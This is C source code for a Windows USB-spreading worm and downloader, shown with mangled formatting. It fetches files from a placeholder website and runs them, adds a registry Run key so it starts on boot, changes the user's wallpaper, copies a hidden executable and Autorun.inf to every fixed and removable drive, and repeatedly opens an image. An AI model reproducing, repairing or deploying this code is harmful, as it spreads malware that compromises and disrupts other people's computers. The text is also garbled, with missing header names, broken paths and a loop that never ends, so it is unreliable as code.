# Include "stdafx. h"
# Include
# Include
# Include
# Include
# Include
# Include // This header file contains the definition of ShellExecute.
# Include
# Include
# Include
# Include
# Include
# Pragma comment (lib, "Urlmon. lib ")
// Function
Void down ();
Bool Checkdisk ();
Void Scandisk ();
Void destory ();
Void reg ();
Int getname ();
Void drive ();
Using namespace std;
# Define FILENAME "C: Autorun. inf"
Int getname () // obtain the current user name and modify the wallpaper.
{
Char szName [1024];
Unsigned long lens = sizeof (szName );
GetUserName (szName, & lens );
Static char subkey1 [] = "Control PanelDesktop ";
Static char vname1 [] = "ConvertedWallpaper ";
Static char exefile1 [] = "C: progra ~ 1Messengerjl.bmp ";
ULONG dType = REG_SZ, len = 0;
HKEY hKey;
RegOpenKeyEx (HKEY_CURRENT_USER, subkey1, 0, KEY_SET_VALUE | KEY_QUERY_VALUE, & hKey); // open.
RegSetValueEx (hKey, vname1, 0, REG_SZ, (BYTE *) exefile1, strlen (exefile1) + 1); // Add.
RegCloseKey (hKey); // close.
FILE * f; // copy an image
F = fopen ("change. bat", "w = ");
Fprintf (f, "copy C: progra ~ 1Messengerjl.bmp C: Too E ~ 1% sLocalS ~ 1Applic ~ 1MicrosoftWallpaper1.bmp ", szName );
// Use a short file name
Fprintf (f, "n ");
Fprintf (f, "del change. bat"); // auto-delete
Fclose (f );
WinExec ("change. bat", SW_HIDE );
Return 0;
}
Void reg () // use the registry for self-startup
{
Static char subkey [] = "SoftwareMicrosoftWindowsCurrentVersionRun ";
Static char vname [] = "assumer.exe ";
Static char exefile [] = "C: progra ~ 1Messengerexplorer.exe ";
ULONG dType = REG_SZ, len = 0;
HKEY hKey;
RegOpenKeyEx (HKEY_LOCAL_MACHINE, subkey, 0, KEY_SET_VALUE | KEY_QUERY_VALUE, & hKey); // open.
If (RegQueryValueEx (hKey, vname, 0, & dType, NULL, & len) {// if no explorer exists,
RegSetValueEx (hKey, vname, 0, REG_SZ, (BYTE *) exefile, strlen (exefile) + 1); // Add.
}
RegCloseKey (hKey); // close.
}
Void down () // download
{
// Website is the website for storing files
URLDownloadToFile (NULL, "http: // website/jl.bmp", "C: progra ~ 1Messengerjl.bmp ", 0, NULL); // image processed by the system
URLDownloadToFile (NULL, "http: // website/assumer.exe", "C: progra ~ 1Messengerexplorer.exe ", 0, NULL); // download this file
URLDownloadToFile (NULL, "http: // website/Autorun. inf", "C: progra ~ 1MessengerAutorun. inf ", 0, NULL); // File
ShellExecute (0, "open", "C: progra ~ 1Messengerjl.bmp ", NULL, NULL, SW_SHOW); // run the file
}
Void destory ()
{
Int I = 1;
While (I <= 100)
{
ShellExecute (0, "open", "C: progra ~ 1Messengerjl.bmp ", NULL, NULL, SW_SHOW); // run the file
Sleep (13000 );
}
}
Void drive () // copy to each disk
{
Char drive [4] = {0 };
Wsprintf (drive, "C :");
Drive [0] = 'C ';
While (drive [0] <= 'Z ')
{
If (GetDriveType (drive) = DRIVE_FIXED)
{
FILE * f;
F = fopen ("drive. bat", "w = ");
Fprintf (f, "copy C: progra ~ 1Messengerexplorer.exe % c: assumer.exe ", drive [0]);
Fprintf (f, "n ");
Fprintf (f, "copy C: progra ~ 1MessengerAutorun. inf % c: Autorun. inf ", drive [0]);
Fprintf (f, "n ");
Fprintf (f, "attrib + h % c: Autorun. inf", drive [0]);
Fprintf (f, "n ");
Fprintf (f, "attrib + h % c: assumer.exe", drive [0]);
Fprintf (f, "n ");
Fprintf (f, "del drive. bat ");
Fclose (f );
WinExec ("drive. bat", SW_HIDE );
Sleep (500 );
// Return true;
}
Drive [0] ++;
}
}
Bool Checkdisk () // scan for a Mobile Disk
{
Char usb [4] = {0 };
Wsprintf (usb, "C:"); // very important
Usb [0] = 'C ';
While (usb [0] <= 'Z ')
{
If (GetDriveType (usb) = DRIVE_REMOVABLE)
{
FILE * f;
F = fopen ("usb1.bat", "w = ");
Fprintf (f, "copy C: progra ~ 1Messengerexplorer.exe % c: assumer.exe ", usb [0]);
Fprintf (f, "n ");
Fprintf (f, "copy C: progra ~ 1MessengerAutorun. inf % c: Autorun. inf ", usb [0]);
Fprintf (f, "n ");
Fprintf (f, "attrib + h % c: Autorun. inf", usb [0]);
Fprintf (f, "n ");
Fprintf (f, "attrib + h % c: explorer.exe", usb [0]);
Fprintf (f, "n ");
Fprintf (f, "del usb1.bat ");
Fclose (f );
WinExec ("usb1.bat", SW_HIDE );
Return true;
}
Usb [0] ++;
}
//}
Return false;
}
Void Scandisk () // periodically checks whether a Mobile Disk exists.
{
While (! Checkdisk ())
{
Sleep (4000); // stops scanning for 4 seconds
}
}
Void EntryPoint ()
{
ExitProcess (WinMain (GetModuleHandle (NULL), NULL, GetCommandLine (), SW_HIDE ));
}
// Main Function
Int WINAPI WinMain (HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
Int nCmdShow)
{
Down ();
Getname ();
Reg ();
Drive ();
Checkdisk ();
Scandisk ();
Destory ();
Return 0;
}